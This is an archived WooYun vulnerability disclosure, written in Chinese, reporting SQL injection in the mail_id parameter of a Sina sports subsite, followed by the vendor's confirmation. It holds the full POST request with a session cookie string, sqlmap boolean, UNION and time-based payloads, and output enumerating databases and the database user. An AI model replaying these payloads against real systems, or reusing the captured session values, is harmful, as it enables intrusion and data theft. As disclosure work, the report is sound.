乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-10-30: 细节已通知厂商并且等待厂商处理中 2015-10-30: 厂商已经确认,细节仅向厂商公开 2015-11-09: 细节向核心白帽子及相关领域专家公开 2015-11-19: 细节向普通白帽子公开 2015-11-29: 细节向实习白帽子公开 2015-12-14: 细节向公众公开
新浪某分站一处Mysql注射
POST /person/address.php HTTP/1.1Host: game.sports.sina.com.cnProxy-Connection: keep-aliveContent-Length: 32Accept: application/json, text/javascript, */*Origin: http://game.sports.sina.com.cnX-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36Content-Type: application/x-www-form-urlencodedReferer: http://game.sports.sina.com.cn/person/user_address.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8Cookie: cookie=chaoti_18389877905632411e33c20; SINAGLOBAL=211.162.34.249_1445961562.523769; U_TRS1=000000fb.bc7f4f7e.5631e6bc.64fa92c5; UOR=www.baidu.com,match.sports.sina.com.cn,; vjuids=-e5758215.150b2ecfa64.0.17dd3eda; __utma=269849203.1047279998.1446111192.1446111192.1446111192.1; __utmz=269849203.1446111192.1.1.utmcsr=hi.house.sina.com.cn|utmccn=(referral)|utmcmd=referral|utmcct=/house/kuodayuhong/new_zhanshi.php; lxlrtst=1446115008_o; SGUID=1446121574300_65957238; rotatecount=2; ArtiFSize=14; hqEtagMode=1; SUS=SID-5480092640-1446133031-GZ-argjo-a287af6ec2df0dbf8cc33439c0565362; SUB=_2A257Nk13DeTxGeNK41IR-SzKzzyIHXVYQjm_rDV_PUNbvtBeLWvbkW8HSgSzlJSAVZfobQbgWl0p4JDUjw..; ALF=1477669031; U_TRS2=000000fb.f2f2a6a.56323f8b.f43b54ff; Apache=211.162.34.251_1446133720.847962; ULV=1446133715091:10:10:10:211.162.34.251_1446133720.847962:1446133680490; SUE=es%3D1000a8d9178b7bc18e8faccf762daede%26ev%3Dv1%26es2%3D0816158e908d1e4ddef820ba909919f6%26rs0%3DinS4BWW1Co0OKyBBpW6ZDSIO3BcsqS8egf%252FSuR01RP4CbuMOCSQZT0H1wMttPmYZTVQCoGysYPkKdU1V8S3vQb97UQX2zmEONrie%252FUrHLItiJWgwNLaDx1hmCtiP8oNfMrQPAkgwKMVKmRJ%252B%252F3v895l9wdwbwfWPlOrJQvZRoIU%253D%26rv%3D0; SUP=cv%3D1%26bt%3D1446133031%26et%3D1446220333%26d%3D40c3%26i%3D5362%26us%3D1%26vf%3D0%26vt%3D0%26ac%3D2%26st%3D0%26lt%3D7%26uid%3D5480092640%26user%3D%26ag%3D12%26name%3D%26nick%3DMRMRL_48205%26sex%3D%26ps%3D0%26email%3D%26dob%3D%26ln%3D%26os%3D%26fmp%3D%26lcp%3D; SUBP=0033WrSXqPxfM725Ws9jqgMF55529P9D9WhWYPOlLrqch4epbo3L7L14; lxlrttp=1446115008; vjlast=1446133681.1446133738.10; dpha=usrmdinst_20; dpvar=usrmdinst_1; PHPSESSID=p3iiit86n9mpp2nv3772nve5s0; ULOGIN_IMG=gz-67657fdbba2119a2e4a20a758758982d9ce2; SSCSum=1; _sportusr_=%7B%22uid%22%3A%225480092640%22%2C%22username%22%3A%22MRMRL_48205%22%2C%22ssouname%22%3A%22%22%2C%22have_tblog%22%3A%221%22%2C%22style_flag%22%3A%220%22%7Dopration=query_mail&mail_id=3164
mail_id 存在注入
Place: POSTParameter: mail_id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: opration=query_mail&mail_id=3164 AND 4930=4930 Type: UNION query Title: MySQL UNION query (NULL) - 9 columns Payload: opration=query_mail&mail_id=3164 LIMIT 1,1 UNION ALL SELECT NULL, CONCAT(0x3a7a65633a,0x666f7949794b676d586c,0x3a676d743a), NULL, NULL, NULL, NULL, NULL, NULL, NULL# Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: opration=query_mail&mail_id=3164 AND SLEEP(5)---[00:19:43] [INFO] the back-end DBMS is MySQLweb application technology: Apacheback-end DBMS: MySQL 5.0.11[00:19:43] [INFO] fetching database names[00:19:43] [INFO] the SQL query used returns 3 entries[00:19:44] [INFO] retrieved: "information_schema"[00:19:44] [INFO] retrieved: "ssgames"[00:19:44] [INFO] retrieved: "test"available databases [3]:[*] information_schema[*] ssgames[*] test[00:19:44] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occurances will result in replacement with '?' character. Please, find proper character representation inside corresponding output files.[00:19:44] [INFO] fetched data logged to text files under 'E:\sql??\SqlMap?Python??\Bin\output\game.sports.sina.com.cn'
available databases [3]:[*] information_schema[*] ssgames[*] test
[00:27:47] [INFO] the back-end DBMS is MySQLweb application technology: Apacheback-end DBMS: MySQL 5.0.11[00:27:47] [INFO] fetching current usercurrent user: '[email protected].%'
过滤
危害等级:中
漏洞Rank:6
确认时间:2015-10-30 09:55
感谢提醒,不知为什么代码回退了,已经联系业务方检查
暂无